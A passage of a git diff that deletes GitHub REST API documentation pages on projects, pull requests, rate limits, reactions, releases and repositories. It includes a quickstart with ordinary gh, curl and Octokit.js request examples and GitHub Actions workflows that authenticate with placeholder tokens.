variables.product.prodname_project_v1_caps %} columns' -shortTitle: Columns -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to create and manage columns on a {% data - variables.projects.projects_v1_board %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.projects.projects-api %} - -{% data reusables.user-settings.classic-projects-api-classic-pat-only %} - - diff --git a/content/rest/projects/index.md b/content/rest/projects/index.md deleted file mode 100644 index 8a4f6ee48cf0..000000000000 --- a/content/rest/projects/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_projects_v1_caps %}' -shortTitle: '{% data variables.product.prodname_projects_v1_caps %}' -intro: 'Use the REST API to create, list, update, delete and customize {% data variables.projects.projects_v1_boards %}.' -redirect_from: - - /v3/projects - - /rest/reference/projects -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -children: - - /projects - - /cards - - /collaborators - - /columns -autogenerated: rest ---- - - - - diff --git a/content/rest/projects/projects.md b/content/rest/projects/projects.md deleted file mode 100644 index c4f5c2d80094..000000000000 --- a/content/rest/projects/projects.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_projects_v1_caps %}' -shortTitle: Boards -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to create and manage {% data - variables.projects.projects_v1_boards %} in a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.projects.projects-api %} - -{% data reusables.user-settings.classic-projects-api-classic-pat-only %} - - diff --git a/content/rest/pulls/comments.md b/content/rest/pulls/comments.md deleted file mode 100644 index 09f43aaa632c..000000000000 --- a/content/rest/pulls/comments.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for pull request review comments -shortTitle: Review comments -intro: Use the REST API to interact with pull request review comments. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About pull request review comments - -Pull request review comments are comments made on a portion of the unified diff during a pull request review. These are different from commit comments and issue comments in a pull request. For more information, see [AUTOTITLE](/rest/commits/comments) and [AUTOTITLE](/rest/issues/comments). - - diff --git a/content/rest/pulls/index.md b/content/rest/pulls/index.md deleted file mode 100644 index c1adf5805ef6..000000000000 --- a/content/rest/pulls/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for pull requests -shortTitle: Pull requests -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage pull requests and pull request reviews. -redirect_from: - - /v3/pulls - - /rest/reference/pulls -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /pulls - - /comments - - /review-requests - - /reviews -autogenerated: rest ---- - - - - diff --git a/content/rest/pulls/pulls.md b/content/rest/pulls/pulls.md deleted file mode 100644 index 65d981b4e848..000000000000 --- a/content/rest/pulls/pulls.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: REST API endpoints for pull requests -shortTitle: Pull requests -allowTitleToDifferFromFilename: true -intro: Use the REST API to interact with pull requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About pull requests - -You can list, view, edit, create, and merge pull requests using the REST API. For information about how to interact with comments on a pull request, see [AUTOTITLE](/rest/issues/comments). - -Pull requests are a type of issue. Any actions that are available in both pull requests and issues, like managing assignees, labels, and milestones, are provided by the REST API to manage issues. For more information, see [AUTOTITLE](/rest/issues). - -### Link Relations - -Pull requests have these possible link relations: - -* `self`: The API location of this pull request -* `html`: The HTML location of this pull request -* `issue`: The API location of this pull request's [issue](/rest/issues) -* `comments`: The API location of this pull request's [issue comments](/rest/issues/comments) -* `review_comments`: The API location of this pull request's [review comments](/rest/pulls/comments) -* `review_comment`: The [URL template](/rest/using-the-rest-api/getting-started-with-the-rest-api#hypermedia) to construct the API location for a [review comment](/rest/pulls/comments) in this pull request's repository -* `commits`: The API location of this pull request's [commits](#list-commits-on-a-pull-request) -* `statuses`: The API location of this pull request's [commit statuses](/rest/commits#commit-statuses), which are the statuses of its `head` branch - - diff --git a/content/rest/pulls/review-requests.md b/content/rest/pulls/review-requests.md deleted file mode 100644 index 4dcdef01c6bf..000000000000 --- a/content/rest/pulls/review-requests.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for review requests -shortTitle: Review requests -allowTitleToDifferFromFilename: true -intro: Use the REST API to interact with review requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About review requests - -Pull request authors and repository owners and collaborators can request a pull request review from anyone with write access to the repository. Each requested reviewer will receive a notification asking them to review the pull request. - - diff --git a/content/rest/pulls/reviews.md b/content/rest/pulls/reviews.md deleted file mode 100644 index 4e75ad04bf16..000000000000 --- a/content/rest/pulls/reviews.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for pull request reviews -shortTitle: Reviews -allowTitleToDifferFromFilename: true -intro: Use the REST API to interact with pull request reviews. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About pull request reviews - -Pull Request Reviews are groups of pull request review comments on a pull request, grouped together with a state and optional body comment. - - diff --git a/content/rest/quickstart.md b/content/rest/quickstart.md deleted file mode 100644 index b890d870c5bd..000000000000 --- a/content/rest/quickstart.md +++ /dev/null @@ -1,344 +0,0 @@ ---- -title: Quickstart for GitHub REST API -intro: 'Learn how to get started with the {% data variables.product.prodname_dotcom %} REST API.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Quickstart -topics: - - API -redirect_from: - - /guides/getting-started - - /v3/guides/getting-started ---- - -## Introduction - -This article describes how to quickly get started with the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}, `curl`, or JavaScript. For a more detailed guide, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api). - -{% cli %} - -## Using {% data variables.product.prodname_cli %} in the command line - -{% data variables.product.prodname_cli %} is the easiest way to use the {% data variables.product.prodname_dotcom %} REST API from the command line. - -{% data reusables.rest-api.github-cli-install-and-auth %} - -1. Make a request using the {% data variables.product.prodname_cli %} `api` subcommand, followed by the path. Use the `--method` or `-X` flag to specify the method. For more information, see the [{% data variables.product.prodname_cli %} `api` documentation](https://cli.github.com/manual/gh_api). - - This example makes a request to the "Get Octocat" endpoint, which uses the method `GET` and the path `/octocat`. For the full reference documentation for this endpoint, see [AUTOTITLE](/rest/meta/meta#get-octocat). - - ```shell copy - gh api /octocat --method GET - ``` - -## Using {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %} - -You can also use {% data variables.product.prodname_cli %} in your {% data variables.product.prodname_actions %} workflows. For more information, see [AUTOTITLE](/actions/using-workflows/using-github-cli-in-workflows). - -### Authenticating with an access token - -Instead of using the `gh auth login` command, pass an access token as an environment variable called `GH_TOKEN`. {% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -The following example workflow uses the [List repository issues](/rest/issues/issues#list-repository-issues) endpoint, and requests a list of issues in {% ifversion ghes %}a repository you specify{% else %}the `octocat/Spoon-Knife` repository{% endif %}.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} - -```yaml copy -on: - workflow_dispatch: -jobs: - use_api: - runs-on: ubuntu-latest - permissions: - issues: read - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - gh api {% data variables.product.rest_url %}{% data variables.rest.example_request_url %} -``` - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: - -1. Store your {% data variables.product.prodname_github_app %}'s ID as a configuration variable. In the following example, replace `APP_ID` with the name of the configuration variable. You can find your app ID on the settings page for your app or through the API. For more information, see [AUTOTITLE](/rest/apps/apps#get-an-app). For more information about configuration variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. {% ifversion fpt or ghec %}For example:{% else %}In the following example, replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} - - ```yaml copy - on: - workflow_dispatch: - jobs: - track_pr: - runs-on: ubuntu-latest - steps: - - name: Generate token - id: generate-token - uses: actions/create-github-app-token@v1 - with: - app-id: {% raw %}${{ vars.APP_ID }}{% endraw %} - private-key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} - - name: Use API - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - run: | - gh api {% data variables.product.rest_url %}{% data variables.rest.example_request_url %} - ``` - -{% endcli %} - -{% javascript %} - -## Using Octokit.js - -You can use Octokit.js to interact with the {% data variables.product.prodname_dotcom %} REST API in your JavaScript scripts. For more information, see [Scripting with the REST API and JavaScript](/rest/guides/scripting-with-the-rest-api-and-javascript). - -1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user access token. You will use this token to authenticate your request, so you should give it any scopes or permissions that are required to access that endpoint. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api) or [Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps). - - > [!WARNING] - > Treat your access token like a password. - > - > To keep your token secure, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see the [Using Octokit.js in {% data variables.product.prodname_actions %}](#using-octokitjs-in-github-actions) section. - {%- ifversion fpt or ghec %} - > - You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). - {% endif %} - > - > If these options are not possible, consider using another CLI service to store your token securely. - -1. Install `octokit`. For example, `npm install octokit`. For other ways to install or load `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). -1. Import `octokit` in your script. For example, `import { Octokit } from "octokit";`. For other ways to import `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). -1. Create an instance of `Octokit` with your token.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} Replace `YOUR-TOKEN` with your token. - - ```javascript copy - const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: 'YOUR-TOKEN' - }); - ``` - -1. Use `octokit.request` to execute your request. Send the HTTP method and path as the first argument. Specify any path, query, and body parameters in an object as the second argument. For more information about parameters, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api#using-parameters). - - For example, in the following request the HTTP method is `GET`, the path is `/repos/{owner}/{repo}/issues`, and the parameters are {% ifversion ghes %}`owner: "REPO-OWNER"` and `repo: "REPO-NAME"`{% else %}`owner: "octocat"` and `repo: "Spoon-Knife"`{% endif %}.{% ifversion ghes %} Replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository.{% endif %} - - ```javascript copy - await octokit.request("GET /repos/{owner}/{repo}/issues", { - owner: "{% ifversion ghes %}REPO-OWNER{% else %}octocat{% endif %}", - repo: "{% ifversion ghes %}REPO-NAME{% else %}Spoon-Knife{% endif %}", - }); - ``` - -## Using Octokit.js in {% data variables.product.prodname_actions %} - -You can also execute your JavaScript scripts in your {% data variables.product.prodname_actions %} workflows. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -### Authenticating with an access token - -{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -The following example workflow: - -1. Checks out the repository content -1. Sets up Node.js -1. Installs `octokit` -1. Stores the value of `GITHUB_TOKEN` as an environment variable called `TOKEN` and runs `.github/actions-scripts/use-the-api.mjs`, which can access that environment variable as `process.env.TOKEN` - -```yaml -on: - workflow_dispatch: -jobs: - use_api_via_script: - runs-on: ubuntu-latest - permissions: - issues: read - steps: - - name: Check out repo content - uses: {% data reusables.actions.action-checkout %} - - - name: Setup Node - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '16.17.0' - cache: npm - - - name: Install dependencies - run: npm install octokit - - - name: Run script - run: | - node .github/actions-scripts/use-the-api.mjs - env: - TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -The following is an example JavaScript script with the file path `.github/actions-scripts/use-the-api.mjs`.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} - -```javascript -import { Octokit } from "octokit" - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: process.env.TOKEN -}); - -try { - const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { - owner: "{% ifversion ghes %}REPO-OWNER{% else %}octocat{% endif %}", - repo: "{% ifversion ghes %}REPO-NAME{% else %}Spoon-Knife{% endif %}", - }); - - const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id}) - - console.log(titleAndAuthor) - -} catch (error) { - console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`) -} -``` - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: - -1. Store your {% data variables.product.prodname_github_app %}'s ID as a configuration variable. In the following example, replace `APP_ID` with the name of the configuration variable. You can find your app ID on the settings page for your app or through the App API. For more information, see [AUTOTITLE](/rest/apps/apps#get-an-app). For more information about configuration variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example: - - ```yaml - on: - workflow_dispatch: - jobs: - use_api_via_script: - runs-on: ubuntu-latest - steps: - - name: Check out repo content - uses: {% data reusables.actions.action-checkout %} - - - name: Setup Node - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '16.17.0' - cache: npm - - - name: Install dependencies - run: npm install octokit - - - name: Generate token - id: generate-token - uses: actions/create-github-app-token@v1 - with: - app-id: {% raw %}${{ vars.APP_ID }}{% endraw %} - private-key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} - - - name: Run script - run: | - node .github/actions-scripts/use-the-api.mjs - env: - TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - - ``` - -{% endjavascript %} - -{% curl %} - -## Using `curl` in the command line - -> [!NOTE] -> If you want to make API requests from the command line, {% data variables.product.prodname_dotcom %} recommends that you use {% data variables.product.prodname_cli %}, which simplifies authentication and requests. For more information about getting started with the REST API using {% data variables.product.prodname_cli %}, see the {% data variables.product.prodname_cli %} version of this article. - -1. Install `curl` if it isn't already installed on your machine. To check if `curl` is installed, execute `curl --version` in the command line. If the output provides information about the version of `curl`, that means `curl` is installed. If you get a message similar to `command not found: curl`, you need to download and install `curl`. For more information, see [the curl project download page](https://curl.se/download.html). - -1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user access token. You will use this token to authenticate your request, so you should give it any scopes or permissions that are required to access the endpoint. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - - > [!WARNING] - > Treat your access token like a password. - {%- ifversion fpt or ghec %} - > - > To keep your token secure, you can store your token as a {% data variables.product.prodname_codespaces %} secret and use the command line through {% data variables.product.prodname_codespaces %}. For more information, see [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). - {% endif %} - > - > You can also use {% data variables.product.prodname_cli %} instead of `curl`. {% data variables.product.prodname_cli %} will take care of authentication for you. For more information, see the {% data variables.product.prodname_cli %} version of this page. - > - > If these options are not possible, consider using another CLI service to store your token securely. - -1. Use the `curl` command to make your request. Pass your token in an `Authorization` header.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} Replace `YOUR-TOKEN` with your token. - - ```shell copy - curl --request GET \ - --url "{% data variables.product.rest_url %}{% data variables.rest.example_request_url %}" \ - --header "Accept: application/vnd.github+json" \ - --header "Authorization: Bearer YOUR-TOKEN" - ``` - - > [!NOTE] - > {% data reusables.getting-started.bearer-vs-token %} - -## Using `curl` commands in {% data variables.product.prodname_actions %} - -You can also use `curl` commands in your {% data variables.product.prodname_actions %} workflows. - -### Authenticating with an access token - -{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -{% ifversion ghes %}In the following example, replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} - -```yaml copy -on: - workflow_dispatch: -jobs: - use_api: - runs-on: ubuntu-latest - permissions: - issues: read - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - curl --request GET \ - --url "{% data variables.product.rest_url %}{% data variables.rest.example_request_url %}" \ - --header "Accept: application/vnd.github+json" \ - --header "Authorization: Bearer $GH_TOKEN" -``` - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow: - -1. Store your {% data variables.product.prodname_github_app %}'s ID as a configuration variable. In the following example, replace `APP_ID` with the name of the configuration variable. You can find your app ID on the settings page for your app or through the App API. For more information, see [AUTOTITLE](/rest/apps/apps#get-an-app). For more information about configuration variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. {% ifversion fpt or ghec %}For example:{% else %}In the following example, replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-OWNER` with the name of the account that owns the repository. Replace `REPO-NAME` with the name of the repository.{% endif %} - - ```yaml copy - on: - workflow_dispatch: - jobs: - use_api: - runs-on: ubuntu-latest - steps: - - name: Generate token - id: generate-token - uses: actions/create-github-app-token@v1 - with: - app-id: {% raw %}${{ vars.APP_ID }}{% endraw %} - private-key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} - - - name: Use API - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - run: | - curl --request GET \ - --url "{% data variables.product.rest_url %}{% data variables.rest.example_request_url %}" \ - --header "Accept: application/vnd.github+json" \ - --header "Authorization: Bearer $GH_TOKEN" - - ``` - -{% endcurl %} - -## Next steps - -For a more detailed guide, see [Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api). diff --git a/content/rest/rate-limit/index.md b/content/rest/rate-limit/index.md deleted file mode 100644 index c2b7f5a325df..000000000000 --- a/content/rest/rate-limit/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for rate limits -shortTitle: Rate limit -allowTitleToDifferFromFilename: true -intro: Use the REST API to check your current rate limit status. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /rate-limit -autogenerated: rest ---- - - diff --git a/content/rest/rate-limit/rate-limit.md b/content/rest/rate-limit/rate-limit.md deleted file mode 100644 index 9b66ba2cc614..000000000000 --- a/content/rest/rate-limit/rate-limit.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: REST API endpoints for rate limits -shortTitle: Rate limit -allowTitleToDifferFromFilename: true -intro: Use the REST API to check your current rate limit status. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/rate-limit -autogenerated: rest ---- - -## About rate limits - -You can check your current rate limit status at any time. For more information about rate limit rules, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -The REST API for searching items has a custom rate limit that is separate from the rate limit governing the other REST API endpoints. For more information, see [AUTOTITLE](/rest/search/search). The GraphQL API also has a custom rate limit that is separate from and calculated differently than rate limits in the REST API. For more information, see [AUTOTITLE](/graphql/overview/resource-limitations#rate-limit). For these reasons, the API response categorizes your rate limit. Under `resources`, you'll see objects relating to different categories: - -* The `core` object provides your rate limit status for all non-search-related resources in the REST API. - -* The `search` object provides your rate limit status for the REST API for searching (excluding code searches). For more information, see [AUTOTITLE](/rest/search/search). - -* The `code_search` object provides your rate limit status for the REST API for searching code. For more information, see [AUTOTITLE](/rest/search/search#search-code). - -* The `graphql` object provides your rate limit status for the GraphQL API. - -* The `integration_manifest` object provides your rate limit status for the `POST /app-manifests/{code}/conversions` operation. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-from-a-manifest#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration). - -* The `dependency_snapshots` object provides your rate limit status for submitting snapshots to the dependency graph. For more information, see [AUTOTITLE](/rest/dependency-graph). - -* The `code_scanning_upload` object provides your rate limit status for uploading SARIF results to code scanning. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -* The `actions_runner_registration` object provides your rate limit status for registering self-hosted runners in {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -For more information on the headers and values in the rate limit response, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - - diff --git a/content/rest/reactions/index.md b/content/rest/reactions/index.md deleted file mode 100644 index 4df8e49079c3..000000000000 --- a/content/rest/reactions/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for reactions -shortTitle: Reactions -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with reactions on {% data - variables.product.prodname_dotcom %}. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /reactions -autogenerated: rest ---- - - diff --git a/content/rest/reactions/reactions.md b/content/rest/reactions/reactions.md deleted file mode 100644 index 5b5e44e9ab8c..000000000000 --- a/content/rest/reactions/reactions.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for reactions -shortTitle: Reactions -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with reactions on {% data - variables.product.prodname_dotcom %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/reactions -autogenerated: rest ---- - -## About reactions - -You can create and manage reactions to comments, issues, pull requests, and discussions on {% data variables.product.prodname_dotcom %}. When creating a reaction, the allowed values for the `content` parameter are as follows (with the corresponding emoji for reference): - -{% data reusables.repositories.reaction_list %} - - diff --git a/content/rest/releases/assets.md b/content/rest/releases/assets.md deleted file mode 100644 index 3662775942e9..000000000000 --- a/content/rest/releases/assets.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for release assets -shortTitle: Release assets -intro: Use the REST API to manage release assets. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/releases/index.md b/content/rest/releases/index.md deleted file mode 100644 index 91899fe1faea..000000000000 --- a/content/rest/releases/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for releases and release assets -shortTitle: Releases -intro: 'Use the REST API to create, modify, and delete releases and release assets.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /releases - - /assets -redirect_from: - - /rest/reference/releases -autogenerated: rest ---- - - - - diff --git a/content/rest/releases/releases.md b/content/rest/releases/releases.md deleted file mode 100644 index bfd570700f6e..000000000000 --- a/content/rest/releases/releases.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for releases -shortTitle: Releases -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create, modify, and delete releases.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -> [!NOTE] -> These endpoints replace the endpoints to manage downloads. You can retrieve the download count and browser download URL from these endpoints. - - diff --git a/content/rest/repos/autolinks.md b/content/rest/repos/autolinks.md deleted file mode 100644 index f99dde000539..000000000000 --- a/content/rest/repos/autolinks.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for repository autolinks -allowTitleToDifferFromFilename: true -shortTitle: Autolinks -intro: Use the REST API to add autolinks to external resources. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About repository autolinks - -To help streamline your workflow, you can use the REST API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources). - -{% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use these endpoints. - - diff --git a/content/rest/repos/bypass-requests.md b/content/rest/repos/bypass-requests.md deleted file mode 100644 index 9e676b0b3dd9..000000000000 --- a/content/rest/repos/bypass-requests.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for repository push rule bypass requests -shortTitle: Bypass requests -intro: >- - Use the REST API to manage repository push rule bypass requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/repos/contents.md b/content/rest/repos/contents.md deleted file mode 100644 index a476a03ae58e..000000000000 --- a/content/rest/repos/contents.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for repository contents -allowTitleToDifferFromFilename: true -shortTitle: Contents -intro: >- - Use the REST API to create, modify, and delete Base64 encoded content in a - repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - diff --git a/content/rest/repos/custom-properties.md b/content/rest/repos/custom-properties.md deleted file mode 100644 index f14a74c235d4..000000000000 --- a/content/rest/repos/custom-properties.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for custom properties -shortTitle: Custom properties -intro: >- - Use the REST API to list the custom properties assigned to a repository by the - organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '>=3.13' -topics: - - API -autogenerated: rest 